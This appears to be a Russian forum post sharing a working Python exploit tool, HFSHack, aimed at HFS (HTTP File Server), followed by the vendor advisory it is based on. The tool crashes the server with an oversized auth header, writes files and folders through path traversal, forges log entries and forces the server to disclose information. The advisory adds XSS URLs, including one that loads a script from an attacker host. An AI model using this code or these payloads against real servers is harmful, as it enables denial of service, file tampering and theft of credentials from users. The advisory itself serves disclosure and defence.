HFSHack 1.0b Code: #!/usr/bin/python """ ---------------------------------------------------------------- HFSHack 1.0b (By Felipe M. Aragon And Alec Storm ) ---------------------------------------------------------------- * CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS * CVE-2008-0410 - Information Disclosure Vulnerability Affected Versions: HFS 2.0 to and including 2.3(Beta Build 174) http://www.syhunt.com/advisories/hfs-1-template.txt * CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability * CVE-2008-0406 - Denial of Service (DoS) Vulnerability Affected Versions: HFS 2.2 to and including 2.3(Beta Build 174) http://www.syhunt.com/advisories/hfs-1-log.txt * CVE-2008-0407 - Username Spoofing Vulnerability * CVE-2008-0408 - Log Forging / Injection Vulnerability Affected Versions: HFS 1.5g to and including 2.3(Beta Build 174); and possibly HFS version 1.5f http://www.syhunt.com/advisories/hfs-1-username.txt Vulnerabilities found by Syhunt (http://www.syhunt.com) Sandcat can also identify these issues: http://www.syhunt.com/sandcat """ import urllib2, sys, re, commands, StringIO, string, base64 host = '127.0.0.1' # Default Host help = ('\n' 'open [hostname]\n' ' This should be called first (unless you want the default host)\n\n' 'checkdos\n' ' Performs the Log DoS Attack (Makes the server crash)\n\n' 'checkxss\n' ' Checks for the presence of the Template XSS Vulnerability\n\n' 'manipf [localfilename] [remotefilename]\n' ' Appends content of a local file to a remote file. Examples:\n' ' manipf inject.html index.html or ..\\..\index.html\n' ' Note: If the file does not exists, it will be created.\n\n' 'maniplog [localfilename]\n' ' Injects content of a local file to the HFS log panel and file\n\n' 'mkd [dirname]\n' ' Creates directories. Examples:\n' ' mkd Test or ..\\..\\Windows\\Test\n\n' 'symbols\n' ' Forces HFS to reveal details about the server\n\n' 'ver\n' ' Forces HFS to show its version and build, and displays which\n\n' ' HFSHack commands are available for it\n' 'quit\n' ' Exits this application' '\r\n') readme = ( '(c) 2008 Syhunt Security. All rights reserved.\n\n' 'This tool is provided ''as-is'', without any expressed or implied\n' 'warranty. In no event will the author be held liable for any\n' 'damages arising from the use of this tool.\n\n' 'Permission is granted to anyone to use this tool, and to alter\n' 'it and redistribute it freely, subject to the following\n' 'restrictions:\n\n' '1. The origin of this tool must not be misrepresented, you must\n' ' not claim that you wrote the original tool.\n\n' '2. Altered source versions must be plainly marked as such, and\n' ' must not be misrepresented as being the original plugin.\n\n' '3. This notice may not be removed or altered from any source\n' ' distribution.\n\n' 'If you have any questions concerning this license, please email\n' 'contact _at_ syhunt _dot_ com\n' ) about = ( '----------------------------------------------------------------\n' ' Syhunt HFSHack 1.0b\n' '----------------------------------------------------------------\n\n' 'This exploit tool should be used only by system administrators\n' '(or other people in charge).\n\n' 'Type "readme" and read the text before continuing\n\n' 'If you have already read it, type "help" to view a list of\n' 'commands.' ) # Extra Details to Obtain symbol_list = ( 'connections;Current number of connections to HFS', 'timestamp;Date and time of the server', 'uptime;Uptime', 'speed-out;Current outbound speed', 'speed-in;Current inbound speed', 'total-out;Total amount of bytes sent', 'total-downloads;Total amount of bytes sent', 'total-hits;Total Hits', 'total-uploads;Total Uploads', 'number-addresses;Current number of connected clients (IPs)', 'number-addresses-ever;Number of unique IPs ever connected', 'number-addresses-downloading;Current number of downloading clients (IPs)', ) # Affected Versions re_200801161 = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_200801162 = '^HFS(.*?)(2.2$|2.2[a-b]|2.3 beta)' re_200801163 = '^HFS(.*?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_cangetver = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b])' # Common Messages msg_par_mis = 'Parameter(s) missing.' msg_done = 'Done.\n' msg_acc_file = 'Error reading local file (file not found):' msg_help = 'Type "help" to view a list of commands.' msg_err_con = 'Error Connecting:' msg_fail = 'Failed.' msg_req_ok = 'Request accepted.' uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)'; path = '/' # Default Path def dorequest(hpath,auth_data,s_msg,f_msg): globals()["rcvd"] = '' globals()["banner"] = '' url = 'http://'+host+hpath try: opener = urllib2.build_opener(url) opener.addheaders = [('User-agent', uagent)] if auth_data != '': opener.addheaders = [('Authorization', 'Basic '+auth_data)] globals()["rcvd"] = opener.open(url).readlines() if 'server' in opener.open(url).headers: globals()["banner"] = opener.open(url).headers['server'] except Exception, msg: if f_msg != '': print f_msg,msg return False else: if s_msg != '': print s_msg return True def genbase64str(string): base64str = base64.encodestring(string); base64str = base64str.replace("\n","") return base64str def readlocalfile(filename): file = open(filename, "r") text = file.readlines() file.close() print text filecontentstr = '' for l in text: filecontentstr = filecontentstr+l return filecontentstr def ishostavailable(): return dorequest(path,'','',msg_err_con) def getservinfo(symbol,desc): base64str = base64.encodestring('<id>%'+symbol+'%</id>'); if dorequest(path,base64str,'',msg_err_con): for l in rcvd: hfsver = re.findall('<id>(.*?)</id>', l) for r in hfsver: if r != []: hfsverdec = urllib2.unquote(hfsver[0]) if desc != '': print desc+': '+hfsverdec return hfsverdec else: return '' def getallservinf(): for l in symbol_list: curl = l.split(';') getservinfo(curl[0],curl[1]) def hfsmkdir(dirname): base64str = genbase64str('\\..\\'+dirname+'\\')+'AA'; dorequest(path,base64str,msg_req_ok,msg_fail) def shutdownhfs(): dosstr = genbase64str('a' * 270 + ':') if dorequest(path,dosstr,msg_fail,'DoS executed.'): dorequest(path,'','Host is still up.','Host is now down.') def hfsappendtofile(filename,string): base64str = genbase64str('\\..\\'+filename)+'AA'; dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail) def hfsinjecttolog(string): base64str = genbase64str(string); dorequest('/',base64str,msg_req_ok,msg_fail) def procparams(cmd): try: if len(cmd) > 0: if cmd[1] != []: globals()["host"] = cmd[1] except: print "No target info provided. Using localhost" def checkxss(): if ishostavailable(): curver = getservinfo('version','') if curver != '': return 'XSS Found' else: return 'Not Vulnerable' else: return msg_fail def isbanner(regex): p = re.compile(regex) m = p.match(banner) return m def showacceptedcmds(): cmds = 'None (This server is not vulnerable)'; if isbanner(re_200801161): cmds = 'checkxss symbols ver' if isbanner(re_200801162): cmds = cmds+' manipf mkd checkdos' if isbanner(re_200801163): cmds = cmds+' maniplog' print '\nAvailable commands for this server:' print ' '+cmds+'\n' def showver(): cangetver = True if banner != '': server_name = banner.split() print banner if server_name[0] != 'HFS': print 'Not running HFS!' cangetver = False else: if isbanner(re_cangetver): print 'Confirming version...' else: cangetver = False else: print 'No version information found.' print 'The "Send HFS identifier" option is probably disabled.' print 'Trying to force HFS to display its version...' if cangetver == True: idver = getservinfo('version','HFS version number') idbuild = getservinfo('build','HFS build number') globals()["banner"] = 'HFS '+idver+' '+idbuild showacceptedcmds() def result(s): cmd = s.split() if len(cmd) > 0: curcmd = cmd[0] result = 'Invalid command. Type "help" for list of commands.' if curcmd == 'open': procparams(cmd) if ishostavailable(): showver() result = 'Connected.\n' else: result = msg_fail elif curcmd == 'symbols': if ishostavailable(): showver() print 'Forcing HFS to reveal more details...' getallservinf() result = msg_done elif curcmd == 'ver': if ishostavailable(): showver() result = msg_done elif curcmd == 'mkd': if len(cmd) > 1: if cmd[1] != []: hfsmkdir(cmd[1]) result = msg_done else: result = msg_par_mis elif curcmd == 'manipf': if len(cmd) > 2: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: localfilecontent = localfilecontent.replace("\n","%0a") hfsappendtofile(cmd[2],localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'maniplog': if len(cmd) > 1: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: hfsinjecttolog(localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'checkdos': shutdownhfs() result = msg_done elif curcmd == 'checkxss': result = checkxss() elif curcmd == 'help': result = help elif curcmd == 'readme': result = readme elif curcmd == 'quit': result = 'Bye!' return result else: return msg_help print about s = "" while s != "quit": try: s = raw_input(">") except EOFError: s = "quit" print s print result(s) © Felipe M. Aragon And Alec Storm
Сплойт под маленькую программу HFS (замена файл-серверу)... Off-site: http://www.rejetto.com/hfs/ Баг можно увидеть в сплоите ;-)
Code: Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and Information Disclosure Vulnerabilities Advisory-ID: 200801161 Discovery Date: 1.16.2008 Release Date: 1.23.2008 Affected Applications: HFS 2.0 to and including 2.3(Beta Build #174) Non-Affected Applications: HFS 1.6a and earlier versions Class: Cross-Site Scripting (XSS), Information Disclosure Status: Patch available/Vendor informed Vendor: Massimo Melina Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net The Common Vulnerabilities and Exposures (CVE) project has assigned the following CVEs to these vulnerabilities: * CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS * CVE-2008-0410 - Information Disclosure Vulnerability ---------------------------------------------------------------- Overview: HFS is a very popular open source HTTP server designed for easily sharing files. According to information on the official website, the HTTP File Server software has been downloaded about 2 million times. Description: When a specific URL is visited, HFS displays a non-existent account name in the response body. This non-existent account name can be HTML code, allowing a remote attacker to use this to launch XSS attacks. Because the HTML code is also recognized by the web server as a HFS HTML template, it is also possible to inject symbols to force HFS to reveal details about the server (eg, current HFS server version, build, connections, timestamp, uptime, current outbound and inbound speed, and more). Technical details are included below. ---------------------------------------------------------------- Details (Replicating the issues): 1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities Example 1 - Launching a basic XSS: http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/ Example 2 - Injecting an external script (A mix of encoding and javascript functions is used here to circumvent browser URL limitations): http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument %2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom %2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/ * This is specially dangerous if launched against Firefox. In order to protect the password from prying eyes, Firefox entirely hides what comes before the at (@) character and then only the host name remains visible in the address bar. Firefox will also resubmit the auth credentials everytime the host is visited during the current browser session (unless new credentials are supplied). * User must be already logged in (via /~login) and the current (root) path should not be password protected in the HFS-VFS panel. * If the host symbol is injected using this technique, HFS will recognize it as a HTML template and return the data provided in Host field of the request as part of the response body. The same happens if the host symbol has been included (after customization) in the current HFS HTML template. Detection: http://www.syhunt.com/advisories/hfshack.txt See the "checkxss" command Sandcat can also be used to identify this issue: http://www.syhunt.com/sandcat 2) Information Disclosure Example 1 - Injecting Symbols: http://www.syhunt.com/advisories/hfshack.txt The "ver" command will force HFS to reveal its version and build The "symbols" command will force HFS to reveal additional details about the server (such as connections, timestamp, uptime, current outbound and inbound speed, and more). * You can disable the "Send HFS identifier" option (which enables the HFS banner) and remove all server identifier symbols from the original HTML template, and still it will work. Additional Considerations: * An updated IE will not accept basic auth via URL. See: http://support.microsoft.com/kb/834489 and the MS security update 832894 if you wish to learn about this subject. ---------------------------------------------------------------- Vulnerability Status: The vendor was contacted and has immediately released HFS 2.2c which fixes these problems. The new version can be downloaded at www.rejetto.com/hfs/download or via the "Check for news/updates" option in the HFS menu. As a workaround for the affected releases, users should remove the %user% and %host% symbols from any HFS HTML templates. Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta build. HFS 2.3 Beta specifically is only affected if the option "Accept any login for unprotected resources" is enabled. This option, introduced in this version, is disabled by default. ---------------------------------------------------------------- Credit: Felipe Aragon and Alec Storm Syhunt Security Research Team, www.syhunt.com --- Copyright © 2008 Syhunt Security Disclaimer: The information in this advisory is provided "as is" without warranty of any kind. Details provided are strictly for educational and defensive purposes. Syhunt is not liable for any damages caused by direct or indirect use of the information provided by this advisory.
